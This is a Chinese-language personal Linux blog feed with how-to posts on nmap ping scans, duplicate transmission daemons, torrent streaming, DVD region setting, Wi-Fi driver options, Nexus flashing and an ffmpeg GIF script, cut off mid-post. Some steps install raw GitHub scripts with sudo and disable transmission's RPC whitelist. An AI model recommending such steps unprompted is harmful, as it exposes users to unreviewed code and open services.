tag:blogger.com,1999:blog-36856110379993541792024-02-08T11:09:16.177+08:00Max的宅空間這個Blog主要是以我個人的電腦的桌面環境(KDE)為主,大部份都是一些技術文件,也會有一些Server方面的文章,還有一些自己寫的Script,如果你也喜歡KDE、Script歡迎留言討論Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.comBlogger177125tag:blogger.com,1999:blog-3685611037999354179.post-1475653509477317982016-08-24T12:13:00.003+08:002016-08-24T12:19:29.440+08:00如何用 MAC Address 找到 IP如果你有 MAC Address 但是不知道 IP ,你要怎麼找到這個 IP 呢?<br />
你可以使用 nmap 指令來 ping 整個網段,然後找到這個 MAC 是對應到哪個 IP<br />
<br />
<code>sudo nmap -sP 192.168.1.0/24 | less</code><br />
<br />
-sP: Ping Scan - go no further than determining if host is online <br />
<br />
<ul>
<li>參考來源:<a href="http://stackoverflow.com/questions/14600466/how-to-ping-mac-adrress-in-linux">How to ping MAC adrress in linux</a></li>
</ul>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-76969093016278920542016-04-03T12:25:00.000+08:002016-04-03T16:17:36.577+08:00如何啟用多個 transmission daemon (on ubuntu server)<div>
<br clear="none" /></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">如果你現在有跑 transmission-daemon 的服務,請先把它停下來</span></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">sudo service transmission-daemon stop</span></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">將 transmission-daemon 複製一份出來</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">cp /usr/bin/transmission-daemon /usr/bin/transmission-daemon2</span></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">cp /etc/init.d/transmission-daemon /etc/init.d/transmission-daemon2</span></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">建立新的帳號來處理 transmission</span></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">sudo adduser --shell /sbin/nologin --home /var/lib/transmission-daemon2 debian-transmission2</span></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">複製一份 transmission 的設定檔目錄</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">sudo cp -r /var/lib/transmission-daemon /var/lib/transmission-daemon2</span></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">變更該目錄權限</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">sudo chown -R debian-transmission2:debian-transmission2 /var/lib/transmission-daemon2</span></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">複製 etc 中的設定檔</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">cp -a /etc/transmission-daemon /etc/transmission-daemon2</span></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">變更權限</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">sudo chown -R debian-transmission2:debian-transmission2 /etc/transmission-daemon2</span></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">複製預設的transmission的設定檔</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">cp /etc/default/transmission-daemon /etc/default/transmission-daemon2</span></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">將設定檔 link 到相關的位置</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">ln -sf /etc/transmission-daemon2/settings.json /var/lib/transmission-daemon2/info/settings.json</span><br />
<br clear="none" />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">修改檔案 /etc/init.d/transmission-daemon2</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">NAME=transmission-daemon</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">USER=debian-transmission</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">to</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">NAME=transmission-daemon2</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">USER=debian-transmission2</span><br />
<br clear="none" />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">修改檔案 /etc/transmission-daemon2/settings.json</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"download-dir": "/var/lib/transmission-daemon/downloads"</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">to</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"download-dir": "/var/lib/transmission-daemon2/downloads"</span><br />
<br clear="none" />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"peer-port": 51413,</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">to</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"peer-port": 51414,</span><br />
<br clear="none" />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"rpc-password": "{74567890732098******6238d58a4510eda06ff7sCZfdZ",</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">to</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"rpc-password": "newpassword",</span><br />
<br clear="none" />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"rpc-username": "transmission",</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">to</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"rpc-username": "newuser",</span><br />
<br clear="none" />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"rpc-port": 9091,</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">to</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"rpc-port": 9092,</span><br />
<br clear="none" />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"rpc-whitelist-enabled": true,</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">to</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">"rpc-whitelist-enabled": false,</span><br />
<br clear="none" />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">CONFIG_DIR="/var/lib/transmission-daemon/info"</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">to</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">CONFIG_DIR="/var/lib/transmission-daemon2/info"</span></div>
<div>
<br data-mce-bogus="1" /></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">將服務設定為預設啟動</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">sudo update-rc.d transmission-daemon2 defaults</span></div>
<div>
<br data-mce-bogus="1" /></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">手動將服務啟動</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">sudo /etc/init.d/transmission-daemon start</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">sudo /etc/init.d/transmission-daemon2 start</span></div>
<div>
<br data-mce-bogus="1" /></div>
<div>
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">服務啟動後 9091與9092 為兩個 transmission 的服務 port</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">now transmission-daemon is</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">http://IP-ADDRESS:9091</span><br />
<br clear="none" />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">transmission-daemon2 is</span><br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">http://IP-ADDRESS:9092</span><br />
<br />
<span data-mce-style="font-size: 18px;" style="font-size: 18px;">參考來源:</span><br />
<ul>
<li><a href="http://ubuntuforums.org/showthread.php?t=1605906"><span data-mce-style="font-size: 18px;" style="font-size: 18px;">Thread: Need help running multiple transmission daemons </span></a></li>
<li><span data-mce-style="font-size: 18px;" style="font-size: 18px;"><a href="https://alexhaydock.co.uk/articles/2016/01/04/running-multiple-instances-of-transmission-daemon.html">Run Multiple Instances of Transmission-Daemon on a Single Host</a></span></li>
</ul>
</div>
<div>
<br clear="none" /></div>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-24515282208919841802016-02-19T16:06:00.000+08:002016-02-19T16:17:56.655+08:00直接使用 Peerflix 來看 BT 種子的串流影片直接安裝 peerflix<br />
<blockquote class="tr_bq">
<code>
yaourt -S peerflix</code></blockquote>
安裝完以後就可以透過 command line 來下載串流看影片 <br />
<br />
<blockquote class="tr_bq">
<code>
peerflix <i><b>http://some-torrent/movie.torrent</b></i> --vlc</code>
</blockquote>
如果你不想用 vlc
也可以用 mplayer
<br />
<blockquote class="tr_bq">
<code>
peerflix <i><b>http://some-torrent/movie.torrent</b></i> --mplayer </code>
</blockquote>
如果你不想用 vlc 也不想用 mplayer
那就直接下這個指令就好
<br />
<blockquote class="tr_bq">
<code>
peerflix <b><i>http://some-torrent/movie.torrent</i></b></code>
</blockquote>
然後在 terminal 中會出現如下的文字
<br />
<blockquote class="tr_bq">
<code>
open vlc and enter <i><b>http://192.168.22.163:42995/</b></i> as the network address</code>
</blockquote>
把網址貼到你想使用的播放軟體中收看即可
IP位址與 port 每次可能都會有所不同
如果你要使用本地端的種子檔案也是可以的
<br />
<blockquote class="tr_bq">
<code>
peerflix <b><i>somevideo.torrent</i></b></code>
</blockquote>
<b><i> </i></b>
如果你想要讓 firefox 可以直接點擊 torrent 便可以直接收看影片的話
可以用下面的方法
先安裝以下的程式<br />
<blockquote class="tr_bq">
<code>
sudo pacman -S vlc xterm wget<br />
yaourt -S python-libtorrent-rasterbar</code>
</blockquote>
如果你想要用 firefox 透過 vlc 來播放影片
先安裝Torrent-Video-Player<br />
<blockquote class="tr_bq">
<code>
wget https://raw.github.com/hotice/webupd8/master/Torrent-Video-Player -O /tmp/Torrent-Video-Player
<br />
sudo install /tmp/Torrent-Video-Player /usr/local/bin/</code>
</blockquote>
接著透過 firefox 點擊 torrent 檔
然後使用 /usr/local/bin/Torrent-Video-Player 來開啟這個檔案
如果你想要使用 Magnet(磁力連結) 你可以安裝 Magnet-Video-Player<br />
<blockquote class="tr_bq">
<code>
wget https://raw.github.com/danfolkes/Magnet2Torrent/master/Magnet_To_Torrent2.py -O /tmp/Magnet_To_Torrent2.py
<br />
sudo install /tmp/Magnet_To_Torrent2.py /usr/local/bin/
<br /><br />wget https://raw.github.com/hotice/webupd8/master/Magnet-Video-Player -O /tmp/Magnet-Video-Player
<br />
sudo install /tmp/Magnet-Video-Player /usr/local/bin/ </code>
</blockquote>
一樣也是透過 firefox 點擊 magnet
然後使用 /usr/local/bin/Magnet-Video-Player 來開啟<br />
<br />
參考來源 :<br />
<ul>
<li><h1 class="post-title entry-title" itemprop="name headline">
<span style="font-size: small;"><a href="http://www.webupd8.org/2014/03/peerflix-stream-torrents-with-vlc-or.html" itemprop="url">Peerflix: Stream Torrents With VLC Or MPlayer Via Command Line</a></span></h1>
</li>
</ul>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-83065951418700133112016-02-11T06:31:00.003+08:002016-02-11T06:32:03.497+08:00重製 Arch Linux 的 MBR前幾天不小心把自己的 / partition 給砍了<br />
還好 1 月份有做系統備份<br />
就來試著還原看看<br />
利用 Live CD 當救援光碟<br />
把備份 tar 檔解開後<br />
系統仍舊無法開機<br />
應該是 MBR 的關係<br />
我先下載 arch 的 iso 檔<br />
然後將他製作成開機隨身碟 <br />
<blockquote class="tr_bq">
<pre>sudo dd bs=4M if=/path/to/archlinux.iso of=/dev/sd<b>x</b> && sync</pre>
</blockquote>
從隨身碟開機後<br />
將partition mount 起來<br />
<blockquote class="tr_bq">
<pre>mkdir /mnt/arch
mount /dev/sdx1 /mnt/arch</pre>
</blockquote>
然後 chroot<br />
<blockquote class="tr_bq">
<pre>arch-chroot /mnt/arch /bin/bash</pre>
</blockquote>
接下來就可以重製 mbr 了<br />
<blockquote class="tr_bq">
syslinux-install_update -i -a -m</blockquote>
我是使用 syslinux 當 boot loader<br />
開機方式是 BIOS<br />
<br />
<br />
<blockquote class="tr_bq">
</blockquote>
<blockquote class="tr_bq">
<pre></pre>
</blockquote>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-52755720075014253832015-10-31T11:52:00.000+08:002015-10-31T11:52:29.909+08:00解決無法收看加密的 DVD 問題最近幫小寶貝訂了巧虎 DVD 來收看<br />
結果好巧不巧<br />
家裡許久沒用的 DVD Player 已經壞了<br />
遙控器壞了,機器也開不了機<br />
於是便興起將 DVD 轉成 avi 檔的想法<br />
原本想說應該很簡單<br />
不就是安裝幾個基本套件而已<br />
<blockquote class="tr_bq">
sudo pacman -S libdvdcss libdvdnav libdvdread</blockquote>
結果裝完了以後還是不能正常播放 DVD<br />
搜尋了 arch wiki 和論壇也找不到解決方法<br />
試著拿家裡另外一台 USB DVD-ROM 居然可以播放?<br />
真的是很納悶<br />
難道我 Thinkpad 內建的 DVD-RAM 有問題嗎?<br />
後來想到會不會是 DVD 分區的問題<br />
於是我安裝了 regionset 來看看我的 DVD-RAM 是設定在哪個區域<br />
<blockquote class="tr_bq">
yaourt -S regionset</blockquote>
結果<br />
<blockquote class="tr_bq">
$ regionset /dev/sr0 <br />Current drive parameters for /dev/sr0:<br /> RPC Type: Phase II (Hardware)<br /> RPC Status: <span style="color: red;">no region code set (bitmask=0xFF)</span><br /> Vendor may reset the RPC 4 times<br /> User is allowed change the region setting 5 times<br />Would you like to change the region setting for this drive? [y/n]: y<br />Enter the new region number for your drive [1..8]: 3<br />New RPC bitmask is 0xFB, ok? [y/n]: y<br />Region code set successfully.</blockquote>
我的 DVD-RAM 沒有設定區域?<br />
只好手動設定為第 3 區<br />
<blockquote class="tr_bq">
$ regionset /dev/sr0 <br />Current drive parameters for /dev/sr0:<br /> RPC Type: Phase II (Hardware)<br /> RPC Status: <span style="color: red;">active region code (bitmask=0xFB)</span><br /> Drive plays discs from this region(s): 3<br /> Vendor may reset the RPC 4 times<br /> User is allowed change the region setting 4 times</blockquote>
這時巧虎終於可以看了.....<br />
也能夠 rip 成 avi 檔了<br />
真奇怪,為什麼 DVD 沒有在出廠的時候就設定好區域呢?<br />
我以前用別台筆電也沒有過這個問題<br />
<br />
<ul>
<li>參考資料:<a href="https://bbs.archlinux.org/viewtopic.php?pid=1574686" target="_blank">Cannot play protected dvd (but libdvdcss is installed)</a></li>
</ul>
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-63124852766115259582015-05-28T11:58:00.000+08:002015-05-28T12:09:00.977+08:00Smart Launcher Pro 3.0 介紹<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/R6JeBmADqyE/0.jpg" frameborder="0" height="315" src="https://www.youtube.com/embed/R6JeBmADqyE?feature=player_embedded" width="560"></iframe></div>
很喜歡 Smart Launcher 這次的改版,所以特別錄製了一段影片來介紹它。<br />
來表達我對 SL 的愛 XD Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-58733140447281224612015-05-26T20:03:00.001+08:002015-05-26T20:33:58.792+08:00解決無線網路 intel 網卡 802.11n 過慢問題<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.speedtest.net/result/4386653812.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://www.speedtest.net/result/4386653812.png" /></a></div>
這是 wifi 的速度測試。<br />
之前我的 wifi 速度測試一直都卡在 50M 左右,我一直以為是我 ap 的位置、水泥牆擋住的關係造成的,直到今天我在不同的地點、不同的 ISP、不同的 AP 做網速測試,我才發現網路還是停在 50M 左右 (我家和測試的 ISP 皆為 100M Download,upload 分別為 40M、100M) 我才發現這可能是我的設定有問題。<br />
於是我找到<a href="https://wiki.archlinux.org/index.php/Wireless_network_configuration#iwlwifi" target="_blank">這篇</a>,才知道,原來還有個參數要設定,才能火力全開 (你的 kernel 必須在 3.11.10 以上)<br />
修改<br />
<code>/etc/modprobe.d/iwlwifi.conf</code><br />
加入<br />
<code>options iwlwifi 11n_disable=8</code><br />
存檔離開<br />
重開機的時候,就會生效了<br />
<br />
要讓參數立即生效可以使用下面的指令 <br />
<code>sudo rmmod iwldvm && sudo rmmod iwlwifi && sudo modprobe iwlwifi 11n_disable=8</code><br />
<br />
支援的硬體請參考這裡 <br />
<a href="https://wireless.wiki.kernel.org/en/users/Drivers/iwlwifi#Supported_Devices" target="_blank">https://wireless.wiki.kernel.org/en/users/Drivers/iwlwifi#Supported_Devices</a><br />
你可以使用下面的指令,查看你的硬體是否為其中之一<br />
<code>sudo lspci|grep "Network controller"</code><br />
<br />
iwlwifi 11n_disable 的參數說明如下<br />
11n_disable: disable 11n functionality, bitmap: 1: full, 2: disable agg TX, 4: disable agg RX, 8 enable agg TX (uint)Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-3114803058275697572015-05-22T09:56:00.000+08:002016-06-14T09:41:19.266+08:00在 Arch Linux 中升級 Nexus 5下載原廠 image 檔<br />
<a href="https://developers.google.com/android/nexus/images" target="_blank">https://developers.google.com/android/nexus/images</a><br />
將下載回來的檔案解壓縮<br />
修改 flash-all.sh<br />
將 -w 的參數拿掉 <br />
fastboot -w update image-hammerhead-lmy48b.zip<br />
-w 的用途是 wipe 它會將手機中的資料全部清除掉<br />
<br />
安裝 android-tools<br />
$ sudo pacman -S android-tools<br />
<br />
開啟手機的 usb 偵錯功能<br />
連接手機 usb 線<br />
$ adb start-server<br />
確認有系統有抓到你的手機資訊<br />
$ adb devices<br />
輸入下方指令讓手機進入 bootloader 模式<br />
$ adb reboot bootloader<br />
<br />
手機重開機後電腦可能會偵測不到手機<br />
需要將 device id 加入 udev rule 中<br />
$ lsusb<br />
你可能會看到如下的資訊 <br />
Bus 001 Device 035: ID **<span style="color: red;">18d1</span>:<span style="color: red;">d00d</span>** Google Inc.<br />
<br />
將這個資訊填入 /etc/udev/rules.d/51-android.rules 中<br />
SUBSYSTEM=="usb", ATTR{idVendor}=="<span style="color: red;">18d1</span>", ATTR{idProduct}=="<span style="color: red;">d00d</span>", MODE="0666", OWNER="<span style="color: lime;">YOUR_LOGIN_ID</span>"<br />
<br />
Udev 可以自動偵測到你已變更的 rules 檔案,所以應該可以立即生效,而不需重啟 udev。 如果你的裝置沒有被自動觸發,你可以重新拔插裝置,在重新連接裝置後應該就可以重新觸發剛剛設定的 rule 了。<br />
<br />
如果還是沒有成功可以使用下面的指令,讓 udev 重新 reload rules 。<br />
$ sudo udevadm control --reload<br />
<br />
手動重新觸發 rules。 <br />
$ sudo udevadm trigger<br />
<br />
接下來就可以執行 flash-all.sh 來升級你的 android 系統了Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-50904227826689704482015-04-22T10:41:00.000+08:002015-04-22T10:41:59.653+08:00如何方便的將影片轉成 gif有時候我需要將影片片段轉成 gif 動畫來分享<br />
有沒有比較方便的方法呢?<br />
<br />
你可以使用 ffmpeg 然後使用參數來轉檔<br />
像是這樣<br />
<code>ffmpeg -ss 00:00:00.000 -t 10 -i filename.avi -vf scale=320:-1 -r 10 /tmp/output.gif</code><br />
-ss 是起始時間<br />
-t 總共所需時間(秒)<br />
-i是檔名<br />
-vf scale= 320:-1 則是將解析度設定為 320 X (自動)<br />
-r 是 fps (frame per second)<br />
/tmp/output.gif gif 輸出的檔名 <br />
<br />
可是這樣的參數實在有點難記<br />
於是寫了一個簡單的 script 只要將你需要的參數填入就好<br />
<br />
<br />
<code>$ vim gif <br />
#!/bin/bash<br />
# convert movie to gif.<br />
# $1 position hh:mm:ss[.xxx]<br />
# $2 duration<br />
# $3 file name<br />
ffmpeg -ss "$1" -t "$2" -i "$3" -vf scale=320:-1 -r 10 /tmp/output.gif</code><br />
<br />
執行的時候你只需要填入3個參數<br />
<ol>
<li>起始時間</li>
<li>總共所需時間(秒)</li>
<li>檔名</li>
</ol>
<code>$ gif 10:01 3 /tmp/filename.avi</code><br />
<br />
這就是對 /tmp/filename.avi 取 3 秒鐘的影片轉成 gif 從 10 分 01 秒開始<br />
把寫好的 script 複製到 /usr/bin 底下<br />
以後就可以使用 gif 這個指令來建立你的 gif 圖檔了Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-37327794746170658122015-01-27T18:45:00.001+08:002015-01-27T18:45:12.154+08:00[Android] 好用又省資源的 Smart Launcher自從用過這個 smart launcher 之後就愛不釋手,已經沒辦法在回去用一般的 launcher 了,他設計的概念就是你常用的 app 就放在桌面,不常用的就放在清單裏面找,但搜尋 app 又非常簡單,有提供打字搜尋功能之外,也有提供 app 分類功能,和頭文字快速搜尋功能,找 app 相當快速,smart launcher 又相當輕巧,非常省資源,我想在一些低階手機上,他的表現應該也是相當出色。<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIgjY75e0ilY82JeYt4p9gph8gHkhhSKRccz488bo7kwgNl-C7voPwUkc5fVRghqs2-AmEBT7H7Q_d-aJRN4cwNf20I19-1_zzcDTwOla6xkX50Y6vGtF-KP5p1BFhBYPk0NDiwpoQTG4/s1600/Screenshot_2015-01-27-00-46-05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIgjY75e0ilY82JeYt4p9gph8gHkhhSKRccz488bo7kwgNl-C7voPwUkc5fVRghqs2-AmEBT7H7Q_d-aJRN4cwNf20I19-1_zzcDTwOla6xkX50Y6vGtF-KP5p1BFhBYPk0NDiwpoQTG4/s1600/Screenshot_2015-01-27-00-46-05.png" height="320" width="180" /></a></div>
<br />
不過這個 launcher 的最大特點就是,他的桌面只有一頁,是的,只有一頁,就如同前面講的,常用的 app 才放桌面,不常用的就用清單尋找,所以即使只有一頁,你也不會覺得有什麼問題。<br />
<br />
而且這個 launcher 還可以支援手勢操作,也就是說你可以定義點兩下做什麼動作,一隻手指或兩隻手指往4個不同的方向滑動還可以再做什麼動作,所以一頁真的是非常夠用了。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8cRKxA7Kh73uKdCJ2aZW-ZTEZRdANZ3oNSwpBwfk5T4hsNuuZ60VoTDz6UPTXMSlSrwlVx6e_2LOYMRsrHadcKTNVHoBRis5OD0q_-r70NP10-Lv_AwIuPRDdBkkkZQrxoVLE40RqK0A/s1600/Screenshot_2015-01-27-00-46-20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8cRKxA7Kh73uKdCJ2aZW-ZTEZRdANZ3oNSwpBwfk5T4hsNuuZ60VoTDz6UPTXMSlSrwlVx6e_2LOYMRsrHadcKTNVHoBRis5OD0q_-r70NP10-Lv_AwIuPRDdBkkkZQrxoVLE40RqK0A/s1600/Screenshot_2015-01-27-00-46-20.png" height="320" width="180" /></a></div>
<br />
<br />
而付費之後可以使用 widget ,他會有多出三頁出來放 widget ,這三頁仍舊不是用來放 app 的。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG8o-S23F50ZeoBzTzY_IEF7WHzQfuqwLO3kyKU1DbgNpo9BErreKqAjJlLFDjxYIkFlE_G5Bpy9UnyO9h-ZCKNhlBRn3Xnp5CTF2hcmrlOy4o8K_CWKH53p9Gfx72-S5sV2yKZCstSQI/s1600/Screenshot_2015-01-27-00-46-29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG8o-S23F50ZeoBzTzY_IEF7WHzQfuqwLO3kyKU1DbgNpo9BErreKqAjJlLFDjxYIkFlE_G5Bpy9UnyO9h-ZCKNhlBRn3Xnp5CTF2hcmrlOy4o8K_CWKH53p9Gfx72-S5sV2yKZCstSQI/s1600/Screenshot_2015-01-27-00-46-29.png" height="320" width="180" /></a></div>
<br />
<br />
如果你的手機會安裝上百個 app 你一定覺得這樣的頁數怎麼可能夠用?<br />
<br />
其實還真的夠用,因為他的 app 搜尋功能太好用,差不多兩步就可以找到你想用的 app 而不是一直滑一直滑一直滑才找到你要用的 app。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_-n5VQxhyN0IiUWic11DoMmo76_R77MdTlR2q4kXdzURAj5XdL_kIM3IO_5b3GWBLCqI4Ir6qAOdxJeFZrLpdAZyJnA8vq-8GKtonP6rZQ08duu5ieO5jkrkpMPqd6NLrzu6rfDdtUlg/s1600/Screenshot_2015-01-27-00-46-43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_-n5VQxhyN0IiUWic11DoMmo76_R77MdTlR2q4kXdzURAj5XdL_kIM3IO_5b3GWBLCqI4Ir6qAOdxJeFZrLpdAZyJnA8vq-8GKtonP6rZQ08duu5ieO5jkrkpMPqd6NLrzu6rfDdtUlg/s1600/Screenshot_2015-01-27-00-46-43.png" height="320" width="180" /></a></div>
<br />
<br />
中文的 app 名稱搜尋也沒問題<br />
<br />
剛開始換過來的過程有一點很不習慣,以前都是記 app 放在哪個桌面哪個位置,或者只記得 app 的 icon 長什麼樣子,<br />
換成 Smart Launcher 之後突然都不記得 app 的名稱叫什麼了,搜尋起來一開<span id="transmark"></span>始還覺得麻煩,等到後來熟了點,就沒這個問題了。<br />
現在換到別的 launcher 反而不會找 app 了,因為其他的 launcher 在搜尋上真的不如 smart launcher 來得好用、直觀。<br />
<br />
如果你覺得你老是找不到你的 app ,或者不喜歡桌面老是擺著一大堆不常用的 app ,又或者你的手機很頓,操作起來很不順暢,<br />
真的可以試試看這個 Smart Launcher 用個幾天熟悉一下,你真的會愛上他。<br />
<br />
<a href="https://play.google.com/store/apps/details?id=ginlemon.flowerfree">https://play.google.com/store/apps/details?id=ginlemon.flowerfree</a><br />
<br />
<br />
Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-41245554639129899292014-12-11T11:22:00.001+08:002014-12-11T11:22:20.385+08:00解決無法使用搜尋 firefox 歷史紀錄問題firefox 的 history search 這兩天壞掉了.....心想該死,這麼多歷史紀錄在裏面,卻不能被搜尋利用,也太慘了吧!<br />
後來 search 到<a href="http://forums.mozillazine.org/viewtopic.php?f=38&t=1953383" target="_blank">這篇</a><br />
內容提到是places.sqlite的檔案毀損造成的,我想....該不會要整個砍掉重來吧! shit.....<br />
<br />
後來想到還好我有用 firefox sync ,所以我先把 firefox sync 關掉,然後備份 ~/.mozilla/firefox/XXXXXXXXXXX/places.sqlite 再砍掉 places.sqlite ,然後打開 firefox 確定歷史紀錄都沒了。<br />
<br />
然後再打開 firefox sync 的功能,接下來就等歷史紀錄同步完畢,於是我有了新的 places.sqlite 檔案可以用了,也可以搜尋了。 Makkusuhttp://www.blogger.com/profile/06219539642182349556noreply@blogger.com0tag:blogger.com,1999:blog-3685611037999354179.post-85440975119299837872014-10-24T10:43:00.000+08:002014-10-24T13:38:57.156+08:00解決 Evernote 5.6.4.4632 版本同步與登入問題使用 PlayOnLinux 來安裝 evernote<b> </b><br />
<br />
<b>PlayOnLinux的設定:</b><br />
<ul>
<li>使用32位元來安裝 Evernote</li>
<li>選擇 Windows xp 的環境</li>
<li>透過「安裝套件」安裝 wininet、Internet Explorer 6 (8也可以)、gdiplus、riched20、msxml3 (如下圖)<br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxAAjy42goiDVu8jakLazqrGaSXq4__KoKCv51igKC7txf3X0kBixsZEpsl1WrQUmRj2Je5ghPf5l4HCZtjAXhvgXnFemzdtIxqNQ4UWQAK9qabbkCymUbti_uJnNTcnvjZK_feB-annY/s1600/14.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxAAjy42goiDVu8jakLazqrGaSXq4__KoKCv51igKC7txf3X0kBixsZEpsl1WrQUmRj2Je5ghPf5l4HCZtjAXhvgXnFemzdtIxqNQ4UWQAK9qabbkCymUbti_uJnNTcnvjZK_feB-annY/s1600/14.png" height="406" width="640" /></a></li>
<li>中文字型問題請參考<a href="http://max-linux-space.blogspot.com/2014/08/linux-evernote.html" target="_blank">這篇文章</a></li>
<li>Wine Version 1.7.29 </li>
</ul>
使用 PlayOnLinux 中的「工作管理員」功能<br />
<div class="separator" style="clear: both; text-align: center;">
